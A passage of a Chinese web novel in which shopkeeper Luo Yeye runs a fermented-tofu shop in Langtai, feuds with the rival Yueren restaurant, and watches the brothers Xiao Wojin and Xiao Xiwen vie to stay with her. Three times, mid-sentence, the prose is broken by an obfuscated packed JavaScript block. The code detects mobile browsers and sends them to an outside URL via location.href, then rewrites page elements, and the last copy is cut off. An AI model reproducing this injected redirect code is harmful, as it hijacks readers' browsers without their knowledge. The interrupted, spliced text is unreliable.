她眨眨眼,就看见好几道目光齐刷刷落在她身上。邻桌一个穿绿衫的妇人捂着嘴笑:“诶哟我天,叫谁呢?这是做梦做多了,梦里叫人叫到戏文里去了。” 罗烨烨头一热,撇嘴了,也有点挂不住面子,摆摆手:“小事小事,你们吃好喝好啊,我做梦呢。” 说完她又觉得不对——她什么时候来的郎台? 她记得自己晕倒在望江楼门口,日头晒得人发昏,然后就没然后了。再醒来就是这,中间的事儿…… 额,像被人剪掉了一段,有点想不起来。 “醒了。” 声音从身侧扑面而来,带着点淡淡的,蒸熟小麦一样的香味。 罗烨烨偏头。 哦,想起来啦! 萧握瑾手里端着一碟点心。是桂花糕,点着点带金花碎碎的蜜。他把碟子搁在桌上,折扇一展,替她挡了邻桌好奇的目光。 “去包厢?”他声音轻轻的,只有她听得见。 罗烨烨摇头,端起凉茶灌了一口:“不去了,在这看得清。咱们今天是带着任务来的吧?我再坐会儿。” 萧握瑾看了她一眼,没说好与不好,只把折扇收起来,在她对面坐下了。 罗烨烨把这两天的事在脑子里捋了一遍。 前天她昏迷的工夫,人已经被送到郎台。也没人知道她咋来的,反正到了。 郎台是进京前的最后一站。 被他们挖来的货代云姨给他们说,御膳的流程就是这样,先在京城周围歇脚,再往上走。歇脚的当口可以继续宣传,因为最终拼的是人气。 “出了些意外,御膳要延一曜日,合起来大致还剩二十几日。” 云姨提点道,“枫城那一仗打得漂亮,但还不能骄傲自满。谁知道愈近京城,又有什么幺蛾子。” 罗烨烨记在心里,于是就在郎台这地方,开了个小铺子。 本来说叫“悦人铺”,图个开心。 上一个酒楼叫醉仙楼,这回换个小铺子,名字也该轻快些。 结果吧…… “听说了没?那边新开的铺子也叫悦人!” “哪个悦人?” “就是那个卖霉豆腐的,从枫城来的那个小铺子。哎,这不跟咱们郎台的老字号,悦人楼,撞名了吗?” 来来往往闲言碎语。罗烨烨正搁外头吃面,端着碗的手顿了一下。 她放下碗,压低声音问旁边正就着霉豆腐吃饼的家丁阿福:“郎台有个悦人楼?” 阿福嘴里还塞着,含糊不清地点头:“有啊东家,老大了,新换的名吧。就在咱们铺子对面那条街,正对着,门脸比咱大十倍不止。” 罗烨烨沉默了片刻。 “那咱改吧。”她拿起茶碗又喝了一口,“跟人家大酒楼撞了,咱这小铺子怪不好意思的。” 阿福还没来得及应声,就有家丁匆匆赶来,报了:“东家、不好了……” “有何不好?” 一道清越之声,忽见一水绿流纨直裰,徐步而来。 他腰间系一条红绦带,手里捏着一把紫竹骨的折扇。来人约莫年长,却一张短娃娃脸,一双眼睛弯着,面庞白净,有年轻之相。 走到罗烨烨桌前,抱拳,微微前揖。动作行云流水,颇有几分文人风骨。 “这位便是罗掌柜吧?在下陈通海,忝为悦人楼掌柜。” 罗烨烨赶紧站起来,回了一礼。 陈通海笑得和煦,语气也温润:“方才听闻有家新铺子也叫悦人,陈某便来看看。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17516215|203203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说来也巧,我这楼开了十二年了,也是前几日方取了个更讨喜的名,取自‘悦人耳目’之意。” 他面上歉意:“名儿这东西,谁先谁后也不打紧。罗掌柜若喜欢,用着便是。枫城的事迹,陈某也略有耳闻,久仰。” 这话说的太谦虚了,罗烨烨刚要开口说“那多不好意思,我改个名就行”。 旁边桌忽然插了一嘴。 “哎,就你们那小铺子还好意思叫悦人?” “不觉得‘丢人’呐?” 这声一出,这一片的小面摊都传到位了,始有议论纷纷。 “人家悦人楼什么菜式都有,你一卖豆腐的凑什么热闹……” “他们御膳是豆腐?这也太普通了吧。” “而且抄得我们,明明霉豆腐是郎台特产……” 这话真不中听,阿福变脸了,把筷子往碟子上一扣:“你再说——” “阿福。” 萧握瑾打住他。 ……这口恶气,阿福只好憋屈地咽了回去。 罗烨烨不说二话,看向陈通海。 对方面色不改,还是歉意。 甚至咧嘴更深了一点,朝罗烨烨拱了拱手:“罗掌柜见谅,郎台这地方人多嘴杂,不必放在心上。陈某还有事,先告辞了。” 说罢,他转身,摆一摆袖子,便离去。 走时身后有家丁如云随上。才晓得他府上家丁方才散落在这条街上各摊,皆看着这边呢。 人声渐渐淡去。罗烨烨坐下来,没说话,接着吃面。 只有阿福还在小声嘀咕:“啥人啊,咱们这名自己起的,谁知道他们先叫悦人啊……” 罗烨烨觉得面有点咸,便端起茶杯饮了口白水:“正常正常,咱们本来就不是本地商铺,人家肯定偏心本地。” 结果当天傍晚,云姨回来了。 她把一沓文书往桌上一搁,端起茶碗灌了一大口,才开口:“对面的新招牌也是霉豆腐。” “就是那个,悦人楼。” 这下,后厨里没人吭了。 “对面也要上御膳。”云姨补了一句,“而且他们动作比咱们快,明天就要在郎台办品鉴会,请了半个城的乡里才俊。” 一时家丁们都为难,也略些回过来味。 悦人楼霉豆腐,品鉴会上御膳。 这不找茬吗?一比一比着干呀! 阿福急了:“那咱们咋办?霉豆腐是咱们招牌,他们用了不会顶替咱们上御膳吧?” “用了就用了嘛,又不是只有咱们能做。” 罗烨烨把秘方单从怀里抽出,是枫城那些老板们签的,“人家弄人家的,霉豆腐和霉豆腐又不一样。咱还能没有秘方?” 她把秘方铺在案板上,一张一张看过去:“张二喜的凉拌豆腐丝,牛大嫂的煎豆腐,李二哥的胡辣汤豆腐脑两掺……” 她点了点其中一张:“今晚我先学这些。一会我照着配方总结一下原料,分给你们采买。” “我来做。” 一只手从旁边伸过来,接过了她手里的刀。 罗烨烨一愣,抬头。 是萧握瑾。他换了一身粗麻白布衣裳,袖口扎住,露出光洁的小臂和手腕。单手持刀,切豆腐。 边指挥:“把这几张秘方单分下去,每人学一道。咱们只是在这里歇脚,不会久留。这段时间就用来学新菜。” 阿福诶一声,收起单子,转身去分派。 罗烨烨反应过来,伸手拦住:“诶不行不行,说好了只有我做的,秘方只授权了我一个人……” “你一个人做不完。” 萧握瑾没抬头,声音淡淡的,手起刀落,案板发出笃笃笃的闷响。 罗烨烨撇嘴:“那也不能……” “我们要效率。”他终于抬眼看她,那双桃花眼里神色认真,“而且你倒下了,这个店可没有第二个掌柜比你强,能撑店。” 罗烨烨张了张嘴。 到嘴边的话,又慢慢闭上,叫她忍不住品了品。 哎呀,确实爽呀。 这人当初在枫城还给她摆架子,动不动就“扣钱”,现在呢?还不是得仰赖她? 她嘴角翘了翘,心里美滋滋的。但是呢,配方这个事情是肯定的,已经决定好了。 罗烨烨轻轻摆手,摆出一副掌柜派头:“你们把配方放下吧。阿福,你带人先回去歇会。” “我和萧老板有话说。” 23. 试探 厨屋里只剩他们俩了。 罗烨烨听见门闩落下的轻响,忽然觉得这屋子变得有点小。真是小铺子呀,小到她能听见灶膛里炭火噼啪的声响,能细细地瞧对面那人衣袖上的纹路。 其实她心里憋着好多话,要问他呢。 譬如她如何来此,来前嘱咐的事办妥没?还有…… 罗烨烨清了清嗓子,作状道:“哎呀,那你会不会呀?需不需要我教呀,啧啧,看着不太中。” “罗掌柜。” 萧握瑾点头,仿佛甘拜下风似的,不紧不慢。捏起一块豆腐,接着切。 “还是少吃些辣吧。” 哎呀这人! 罗烨烨立马火冲发梢,这人嫌她说话冲呢! 她方要说道说道,萧握瑾开口了:“医师怎么说?” 哦,医师。 罗烨烨熄火,若无其事摊手:“没啥呀,就是中暑。有点气虚吧,这个药每日早晚各一碗,喝三天保管痊愈。” 萧握瑾没答话。 他从袖子里摸出一个小纸包,放在案板上,又摸出一个小瓷瓶,也搁在旁边。 罗烨烨低头看。 纸包里是几块蜜饯,杏干和蜜枣,琥珀色的,沾着白糖霜。瓷瓶里是药汁,深褐色的,瓶口用蜡封着。 她默默拿起瓷瓶,揭了蜡封。药汁倒进碗里,咕噜咕噜的,像溪水流过石头。倒完,她端起来,哎呀,熏。皱着鼻子,含住碗往下咽。 真苦。 苦得她眯起眼睛,喉咙缩了一下。 她赶紧拿起一颗蜜枣塞进嘴里,甜味在舌尖化开,把苦压了下去。蜜枣很甜,甜得她有点想笑,弯起眼角,含混不清地说了一句:“我知道你关心我呀,萧老板。” “谢谢你呀。” 周围落静,灶膛火响。 罗烨烨嚼着蜜枣,不敢抬头,目光就跟着他手上操刀行举。手往哪,她盯哪。 “我切得不好?” 萧握瑾倒挑眉,将刀面与他的手指一摊开,给她看那豆腐。哎呦,其实还不错的,齐整一块块,是那回事。 但是罗烨烨直摇头:“不太中,叫我教你……” 她心中有些痒,抬起眼,看萧握瑾。 萧握瑾站在案板前,已经把外袍脱了,手上操刀切配呢。这次不是云纹,不是缂丝,而是棉麻的布料,落在眼里,愈发真真切切。 “愣着做什么。”他没抬头,手起刀落,轻轻的,切软豆腐就是没什么声,像只是在舞。 他终于掀眼瞧她了,眸目带笑。 “不是说教我?” 罗烨烨回过神,赶紧凑过去。 案板上摆着几样香料,是她让阿福新买的。桂皮卷成筒状,硬邦邦的,表面粗糙,颜色是浅棕带红,闻着有股甜丝丝的香。 她拿起一段,在手里掂了掂。 她心里,其实有好些事,想问呢。 可就她方一跑神,旁人之目光便在她身上落。她回过思绪,把它给萧握瑾:“喏,桂皮。主要是起腌的作用,入味,增香。” 萧握瑾接过,掰得很仔细,一段一段码进碗里,摆棋子似的。 “诶,你掰那么整齐干什么?反正要泡进去的。” 罗烨烨见他这般慢条斯理,便不禁指指点点,“这个先不弄到粉里头,咱改良了。块状的愈陈愈香,跟霉豆腐一同发酵。” 萧握瑾不言语,就做。 “好看。” 他回一句。 罗烨烨噎了一下,决定不接这个话茬。她又拿起几片香叶,举到他面前。 “香叶,用月桂叶。给你说过,一片足矣。” 她说着,把手里的香叶揉碎了。碎屑从指缝漏下来,细细的,带着一股香。 清冽冽碎香入酿,年陈陈生涩吐苦。 她把碎屑拨进一只小布袋里,扎好口:“这个得用布网网装着,浸到汤液里,生香之后再捞出。” 萧握瑾看着那只小布袋,忽然笑了一声。 “你笑什么?”罗烨烨抬头。 “布网网。”他慢悠悠地重复了一遍,语气里带着点说不清道不明的意味,“你起名字倒是有一套。猫豆腐,布网网。” “那咋了?形象嘛!你管我叫什么,好用都成。” 罗烨烨抱起胳膊肘,就看这人又不说话了,一副笑而不语模样。罗烨烨心痒痒,就要给他找点事干。 “诶,我还没问你。我让你走前给刘顺带的话,你带到了吗?” 萧握瑾点头,拾一卷陈皮,又开始掰。 “那,”罗烨烨心里飘忽忽地悬起来,有些摸不准,“给老夫人的信,送到了吗?” “送到了。”他道。 “她怎么说?” “没说。” 罗烨烨看了他一眼。他没看她,正把掰好的桂皮一块块摆进碗里,动作不紧不慢。 罗烨烨啧了一声。 “那可怎么办呀,”她作为难状,“什么活儿都叫你抢着干了,回头老夫人只当我是个吃闲饭的,把我打发了可怎么好?” “萧掌柜,你莫不是想自个儿把大小事全攥在手里,好叫我大权旁落呀?” 她听见对面那人轻轻吸了一口气,道:“大权旁落这种话,你也说得出口。” 这话有意无意,便落在搁旁边的罗烨烨身上。她正靠到桌案,悠哉悠哉吃着蜜枣,喝茶水。叫她差点这口水就洒了。 “萧氏家大业大,”萧握瑾慢悠悠地,将案上的豆腐块一个个拾了,放竹篾上,“你若是有一日大权旁落,去别处也饿不死。” 罗烨烨听出了他话里的试探。 她歪头看他:“那你们萧家,会留我吗?” “看你表现。”他伸手拾馏布。 罗烨烨递给他:“那我要是表现特别好呢?” 萧握瑾没接话。他接过白馏布,盖到竹篾上。插回刀,就要再拿东西压住馏布杀水,被她一掌,给按住了。 萧握瑾抬起眼看她。 罗烨烨的心跳忽然快了一拍。 她笑了两声,收回手摆摆,随意道:“逗你玩的。我就想要这个酒楼,要不你帮我跟老夫人说说,把这个酒楼的总负责给我做吧?你看我这个员工,功不可没,你就负责拿钱就行了。” 依然未言语。 那人真是做豆腐入神了似的,把豆腐压上,压一板之后再切下一板,切完之后再放竹篾,再压。 旁若无人。 罗烨烨静静地等,又捎过来一个小凳子,坐在那,边吃蜜饯边喝茶。等她把蜜饯都快吧唧完了,对面才有话音: “少吃些。” 萧握瑾没抬头,声音也是淡的,“牙疼的时候可别找我。” 罗烨烨愣了一下,低头看了看手里的小油纸包,捏一捏。 剩最后一颗了。她想了想,还是捏出来塞进了嘴里,含混道:“哦,那我明天再去买些。” 她说完,等着。 比方说,他再说点什么。 她问的事,还有…… 什么都没有。 切豆腐的声音太轻。安静得像整个铺子只剩她一个人。 罗烨烨忽然觉得有点闷。她站起来,把凳子挪回原处,转身要去倒水。 走了两步,又停下来。 “王小姐呢,”她听到自己的问声,比预想的要小,“有消息了吗?” 身后落刀声停了。 “没有。” 罗烨烨回头。 “你不是托官府找了?” “托了。” “那怎么——” “未寻到人。” 四个字,干脆利落,像一把刀切在案板上,把话斩断了。 罗烨烨把到嘴边的话咽了回去。她站在灶台边,把指头间的小油纸包捏皱巴。 没有消息。人像是凭空消失了。 她想起那天在枫城,萧握瑾说的话。 哦哦—— 不可能呀,我可是纨绔,风流成性,根本不会定亲,面都没见过呢。 哼哼,哼。 可老夫人提过,街坊也提过。王小姐是跟他有过婚约的人。 一个活生生的人,说不见就不见了。 她想起系统说的,心上人。 想起那个还未曾露面的,等着她去救 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17516216|203203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人。 心里忽然涌上一股说不清的滋味。酸的,涩的,像含了一颗没熟的枣子,咽不下去,也吐不出来。 她深吸一口气,转过身。 萧握瑾还站在案板前,低着头,切豆腐。一刀,一刀,不紧不慢。 他就是这样。 从枫城到现在,一直都是这样。 罗烨烨靠在灶台边,看着他,脑子里忽然闪过很多画面。 第一次见面,他在她摊前捏霉豆腐,吊儿郎当的。她以为他是个纨绔公子哥,只会花钱,只会调戏人。 后来在酒楼,他替她挡了老夫人的话,把酒楼交给她管。她以为他只是个有钱有闲的东家,出钱不出力。 再后来,在枫城,他背她走夜路,给她戴桃花钗。她以为他嘴硬心软,是个傲娇。 还有在望江楼后巷,他拿扇子打飞家丁,手腕上露出白茸茸的毛。她以为……她以为他是什么? 她忽然发现,她根本不知道他是什么人。 他救过她,帮过她,背过她,给她买蜜饯,问她医师怎么说。可他不说。什么都不说。问的事不说,王小姐的事不说,萧家的事不说。 她捧着呀,像一块捂在手里的玉。看着温润,摸上去却凉。 罗烨烨低下头,看自己手指上干了的蜜渍,捏了捏,黏黏的。 真讨厌。 她想。 这个人真讨厌。 什么都不说,什么都藏在心里。问她的话,她回答了,他却不接话。就算她喜悦的,也不接。 她就那么等着,等了半天,等来一句。 哦,少吃些。 她又有点想笑,哎呀,真是的。什么时候这么等过呀?就算从前搁菜市场摆摊,谁来谁走,她也不咋等人。爱买买,不买就不买咯。 行人亦如是而思耳。 罗烨烨伸开手掌,手指头都有点酸了。 不过她扭头,还是想叫他。 “萧——” “东家!东家!” 院门外忽然传来阿福的声音,脚步趋近她身后。罗烨烨的话被打断在嗓子里,转头看向门口。 砰地一下门推开,他气喘吁吁,脸涨得通红:“东家,来人了!” “谁?”罗烨烨皱眉。 “萧家的人!”阿福干咽了一下,喉咙冒烟啊,手指门外。 “二公子来了,说是老夫人让来的!” 二公子,萧家二公子? 罗烨烨怔了怔,下意识看向萧握瑾。 他居然没抬头。 白衣在灶火的光里晃了一下,这么侧着望,他的表情看不太清,唇与眉眼,什么情绪都没有。 “东家。” 这一声,叫罗烨烨站起来了。把手里的油纸包搁案上,往外走。 院子里传来脚步声。 踏出去时,她才仿佛听到,有人的声息,也或许是衣料摩擦的窸窣响。 不急不慢的,像落在石径的雨点,又像在敲弦呢,一下一下,引人过来。 她看见一个人从院门走进来。 这公子着天青直裰,腰间仍系一条青绦,配一条墨革带。未语先笑。 “罗姑娘,又见面了。” 罗烨烨一愣。 见过吗? 他在院中央站定,微微颔首。此人面庞白玉,脸型清瘦修长,一双细长柳目微含笑意,鼻梁挺秀,唇色浅淡,周身透着股不争不抢的书卷气。 不料她心中这般所想,却是径直问出口来,听得对面便答:“在下萧惜文。南湖酒楼初见,罗姑娘那道霉豆腐惊艳四座,在下当时便想,姑娘定非凡俗。” 罗烨烨皱了皱眉,不等萧惜文再开口,先问了一句:“老夫人让你来,什么事?” 不会是要把她给辞退吧? 听他声音温润:“母亲说,御膳的事,由我接替。” 还真是! 罗烨立马不得劲了,这真是过河拆桥呀,在这等着她呢。她刚要叉起腰,准备开喷,结果萧惜文接上下文:“罗姑娘可以留下。” 顿了顿,看了萧握瑾一眼。 “兄长必须回府。” 24. 相争 这是何意? 这话罗烨烨没听太懂。什么叫必须回府,老夫人说的?她直问:“老夫人说让你接替萧握瑾,留在这吗?” “是。”萧惜文点头,“母亲信中写得很清楚。” 她心中砰动一声。 想起方才问萧握瑾。 信送到了吗? ——没说。 她深吸一口气,把那股子憋屈压下去,重新看向萧惜文:“那你来干什么,接替他,难道你也会做霉豆腐?” 萧惜文想了想,答得却诚恳:“我可以学。” 不像是随口云云。目光怪认真,不似某个人,嘴上叫教,手上却切得比她还快。 明明什么都会,什么都不用教。 “那你做过切配吗?”罗烨烨无意识地有点冲。 “没有。”萧惜文坦然道,“但我读过几本食谱,也看过家中厨子做菜。不算全无根基。” 罗烨烨看着他,忽然感到心情好些。 有问必答嘛。 她还没来得及接话,身后传来一声哼。 “学?” 萧握瑾终于开口了,声音淡淡的,带着点不以为意,“你落榜了不在家读书,跑到这儿来学做豆腐,看来落榜,是不想上榜啊。” 罗烨烨一愣。 她看向萧惜文。对方笑容未改,只是徐徐握紧了袖下的手。 “乡试过了。” 他微颔首,语气依旧温润,“会试差了些。母亲说,与其在京中苦等,不如先出来历练历练。” “历练,”萧握瑾把刀搁在案板上,慢悠悠地擦着手,“所以历练到我的铺子里来了?” “罗掌柜。” 萧惜文径直转向罗烨烨,望入她眸,“想必从外地赶到郎台,掌柜亦遇到些麻烦吧,我有所耳闻。东市悦人楼,明日要办品鉴会,对吗?” 萧惜文蹙起眉,轻轻摇头:“请了半个城的文人乡绅,据说还会当场作诗赋词。好不热闹,我见许多食客皆要去品鉴呢。” 罗烨烨心里动了一下。 她当然知晓此事。云姨昨日便道,对面动作比他们快,品鉴会一办,声势就起来了。 她面上没说,恐乱军心。实则这两日正愁这个呢: “你想说什么?” 萧惜文含笑:“既然悦人楼做得,我们悦人铺,亦做得。罗掌柜,虽然我是落榜生,但乡试好歹过了。文章功夫,还算拿得出手。” 他往前迈了半步,声音轻下去:“某可为罗掌柜写文章。霉豆腐的诗章,品鉴会邀约,招牌对联,诸如此类。” “这些一概,我都能做。” 哎,罗烨烨神思亮了。 “酒香不怕巷子深。” 萧握瑾擦完了手,把帕子丢在案板上,“做菜靠的是本事,不是嘴皮子功夫。”他瞥了萧惜文一眼,“笔墨轻浮,不如脚踏实地。” 罗烨烨张了张嘴。 这话听着……也有道理。 她正纠结呢,余光忽然瞟见院门口。几个家丁的脑袋挤在一起,探头探脑地往这边看,眼睛亮晶晶的,一脸兴奋。 阿福也在里面,嘴巴张着,恨不得把耳朵伸过来。对上她目光,一愣,抓紧捎回去了。 罗烨烨愣了一下,然后才反应过来。 哦。 这不就是一台戏,俩人争嘛? 她忽然有点想笑。 嘴角难绷,也不品评了,先偷偷瞄了一眼萧握瑾。 他明明侧对着她,下颌线清晰可见。却一下逮住她的目光,偏过头看了她一眼。 罗烨烨赶紧把目光收回来,心口跳了一下。 她清了清嗓子,努力让自己的声音听起来正经些:“那个,萧惜文是吧?” 她直接让了个身位,放大招:“你先切个豆腐我看看。” 这意思是要把萧握瑾挤走呢,果然旁边人看她了。罗烨烨不觉心里有点得意,又摆摆手: “算了,先做你拿手的吧。你说你能写文章,总不是满纸空口白话吧。你对霉豆腐了解多少?” 萧惜文作回忆状:“七彩猫豆腐,取五色菌丝,配以辣酱,色香味俱全。” 不仅如此。他侧步而踱,还能再续:“枫城的豆腐宴,汇集了凉拌、煎炸、炖煮各路做法,以一道‘猫豆腐’统之,既聚人气,又保留各家秘方。” 罗烨烨挑了挑眉。 “南湖初见时,罗姑娘说霉豆腐的故事。”他抬起眼,“佛予珍馐、浮名身外。这些,我亦皆记得。” 萧惜文的声音放轻,真像诵诗呢。搁罗烨烨心里听着,倒真有了些恻隐之味生出。 记得,他怎么记得呢? 其实有些吆喝的吉利话,她自己都快忘了。他记得。 “你倒是记得清楚。” 萧握瑾的声音从旁边插进来,还是那种不咸不淡的调子,“不知道的,还以为你亲身经历过。” “却如亲历般真切。” 萧惜文变讽为用,低眉略显谦逊,“实不相瞒,罗姑娘从枫城寄来的信,收信人是我。母亲眼睛不好,往来书信,一向由我代笔。” 罗烨烨怔住了。 那她在信里留的话,那些关于霉豆腐的想法、御膳计划,铺子的打点…… 萧握瑾先送一声呵:“又并非她亲笔。” “……” 罗烨烨差点撇嘴了,瞥了一眼他,再问萧惜文: “你都看了?” “都看了。”萧惜文轻言轻语,“罗姑娘写的字、说的话,在下皆已珍藏。七彩猫豆腐的法子很妙,百花豆腐宴的图景,很美。” 他停语,目光落在她脸上。 “罗姑娘,不愧是豆腐西施。” 诶哟,这话。 罗烨烨亮晶晶的眼前稍微碎了一下,与此同时,她张口,亦一时不知该有何言语。 有点恍惚。此人明明不在枫城,却对答如流。她以为在跟老夫人说话,可从头到尾,看信的人是他。见字如面,如影随形。 她忽然觉得有点奇妙,说不上来的漩涡感。 又仿若隔着一层纱,有个人一直在看着她。 “说完了?” 萧握瑾的声音把她拉回来。 他已经把刀重新拿起来了,正慢慢地擦着刀面,动作不紧不慢,连眼皮都没抬。 罗烨烨噎了一下:“你不是不切了吗?你又干嘛。” “说完了就走吧。”他没理罗烨烨,“铺子小,容不下这么多人。” 萧惜文微敛笑意。 “这是母亲的安排。” “母亲的安排?”萧握瑾抬眼,看着他,“那你去跟母亲说,让她换个地方安排你。这里是我的铺子,我说了算。” 萧惜文笑了。 “你的铺子?” 他轻声重复了一遍,“这铺子的银子,是从萧家账上支的。地契,也还在母亲手里。” “你废话这么多,不就是想让她留下你么。” 话语落下,罗烨烨又听到身旁布撒开的声音,是萧握瑾抽了馏布拭手。他还是慢条斯理地,“好像你真来过一样。我们经历什么事,我一直都在。” “你是哪位?” 萧握瑾也不等旁人,向门外。 “送客。” “客?” 萧惜文打断。他沉默一会,笑得依旧温润。可罗烨烨看着,像是掩藏着一些微妙的意味。 气氛忽然有点紧。 罗烨烨抿了抿唇。她本意没想把事情闹大,怎么说着说着就变成这样了? 她清了清嗓子,试图把话头接过来:“那个,二公子,我知晓你也想入伙,但平心而论,萧握瑾他一路同行,从南湖到郎台,搭手相帮,着实出了不少力……” “罗姑娘。” 萧惜文笑着打断她,语气温和,话里藏芒:“姑娘的意思,我明白。而姑娘可曾想过,我二人皆是萧家子弟,他是长兄,我为次子。论学识,我过了乡试;论体贴人意,某自问亦不逊于他。” 他目光微蹙,似有不解之意,便落入她眸中:“如此说来,他与我相比,究竟有什么了不得的、无可替代的好处?” “便是有什么,是我也做不到的?” 罗烨烨被问得怔了一下。 她目中方有走神,一声轻笑从旁边传来。 “替代?” 话中语气,戳破神思。萧握瑾走到近前,手里还捏着那块馏布,慢悠悠地拭着手指,“你觉得你能替代我?” 他抬起头,桃花眼懒洋洋地眯起,带着居高临下的蔑意。 “你落榜了,手上没钱。我与你相比,我有钱。” 他把馏布随手搭在案板,一字字砸在他头顶,“这店是我拿钱开的,我才是东家。” 他歪头:“你替代我?” 院子里安静了一瞬。 门外的家丁们大气都不敢出,连阿福都缩了缩脖子。 萧惜文缓慢地,深吸一口气。片刻,他转目,望向罗烨烨。目光里带着一种无奈,又绵长深幽,像是想引诱她,拉她一起反驳。 你快听啊…… 他笑笑开口:“谁说的算,还真不一定呢。” 他拍了拍手。 院门外忽然涌进来一群人,足有七八个家丁,穿着统一的麻衣短打,扇样排开站在萧惜文身后。为首的那个朝萧惜文拱手:“二公子,人都到了。” 罗烨烨都有点惊了,看着那阵仗:“你还带人?” “不止这些,罗掌柜。” 萧惜文转向她,声音温润而下,“鄙人还备了盘缠,另有母亲嘱托掌柜的话。”他看了萧握瑾一眼。 “我的人,绝对比他好用。” 罗烨烨还没来得及反应,就听见身后传来一声轻响。 是萧握瑾,他把刀刃顿在了案板上。他没说话,只是看着这些人,目光淡淡的,仿若看一群闯进家门的土匪。 罗烨烨心里有点慌。 她不知道萧家到底发生什么,萧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“罗姑娘别见外,我兄长礼数不周,还请见谅。” 萧惜文上前一步,朝罗烨烨拱手,声音里带着些歉意,“他就是这个样子。但我们萧家,不是所有人都这样的。” 他声音略有颤抖,蹙眉而笑,望罗烨烨。罗烨烨被他看了,一时挪不开目光,顿时有种如见回光返照之相。方才他是淡淡死意,此刻好似活人。 “多谢罗掌柜赏识。” 他深深一揖,“在下实有一份详尽之策,关乎将霉豆腐的名头如何传扬开去。某虽未中举,这些时日,却一直在琢磨此事。恳请罗掌柜给在下一个机缘,容我与掌柜细细详谈。” 罗烨烨不觉被吸引。 凭心而论,非奉命行事,非敷衍了事。此心赤诚,不应怠慢。 她方要开口,旁边传来一声笑。 是萧握瑾,这人靴子转了个弯,居然又回来了。 “你留下,那我去哪?” 他就靠在门框,看着他俩,嘴角弯着,眼底却没什么笑意,“你觉得你能留下?” “别白费功夫了。” 萧惜文深吸了一口气,又吐出来,像是在压着什么。然后他抬起头,看着萧握瑾。 “兄长既然如此这般,”他的声音放沉了,“就偏要与二弟争个高下?” 萧握瑾歪了头:“你当作何?” 这话实问他身旁之人。罗烨烨便见萧惜文抬起眼,听他徐徐道来:“如此这般,不如兄长与我比试,看谁更适合留在罗姑娘麾下。” “那就比试啊,挺好的。” 罗烨烨直接允了,挥手吩咐来家丁,“现在就比,我来出题。阿福,你带人去张罗食材,就用咱们霉豆腐配方。” 阿福诶一声,一溜烟跑了。 罗烨烨转向萧惜文:“萧惜文,你说你有文采,可开食铺做宣传,总得先摸清食物的脾性。你先试试切配的手艺,等把霉豆腐的味道、做法都摸透了,写出来的东西才不空。” 她扬声道:“你们谁表现得好,谁才能留下。” 萧惜文拱手答复:“听凭差遣。” 罗烨烨,她看萧握瑾。 萧握瑾笑了。他靠在门框上,慢悠悠的,又吊儿郎当起来,若她头一回见他的时候。 “好啊,”他落下眸,“做霉豆腐是吧?只做豆腐。” 念到豆腐这二字,瞥了罗烨烨一眼,意味幽深。看得罗烨烨心里这根弦,都被拨得跳动。 萧握瑾,他缓慢地放沉下声音,叹出一句话:“那我还有一个请求。” 这最后两行字,放地很低啊,朝向是罗烨烨,甚至把身子都给欠了。声音也是轻轻的,就只在他与罗烨烨之间传递。 “若我胜了,”他唇角带着笑,“你,和那个二货。” “都给我走。愿不愿意?” 25. 糖醋 罗烨烨自然心里有些惊讶。 这话真是很冲啊。她开口,想说你怎么这么拽,方抱起胸,萧握瑾就接后话。 “逗你玩的。” 她的声音卡在嗓子里,像被人轻轻按住了喉咙上的弦。 有些熄火。但同时,她指尖涌上股凉意。 白苎衣在晨光里,抄桌子,拾凳子。做势要收拾出场地了。真是清晨还寒啊,冻得她手指微微酸疼,顺着过了手腕,到手掌,最后汇在手心里。 被她慢慢握进了拳。 “好啊,”她深吸一口气,就看着他后背,“那就开始。现在就比,正好我这有食材。” 她转脚,快步往外走,声音也拔高了:“反正一大早,有的是时辰。来人啊!” 阿福从院门口探进脑袋。 “去外边吆喝一声,”罗烨烨往街上指,“让街坊们都来看看,咱们猫豆腐铺新店开张,今早上一个厨艺比试。” “先尝后买,先到的白送!” 锣鼓喧天自街口响,有街坊邻里相邀街上。 一人摇着蒲扇,支起耳朵走近道:“哎,你听,新来的这个猫豆腐铺有比试。” “比啥呀?” “比着做豆腐吧,谁做得又快又多,又好!” 红绸招展,丝竹声声,来来往往几个公子小姐,提着笔,往东市悦人楼去,给新菜赋诗。 可有三两行人转了向,却成群结队往西街赏玩。 “要不去瞧瞧?那边不要钱,还能看热闹。” “走走走。” 人群渐渐分流,一股往西,一股往东。西边这条大街口,不知不觉已围了一圈人。 新来的聚在这小铺门前呀,往那一看,哦呦,确实小。门铺搭着外头几张桌子,前面竖一绺旗,写招牌: 南湖猫豆腐。 那食客一皱眉,指着便嚷嚷:“诶,你这招牌,抄人家悦人楼啊?还有你这辣酱,你这青红腐乳,你这料汁——” 结果就被一只手拍开,拾走了那白瓷碗。 “如何?”淡漠一声。 食客一愣,再往上看。 一个白苎麻衣,散发马尾,袖口扎着,露出小臂。 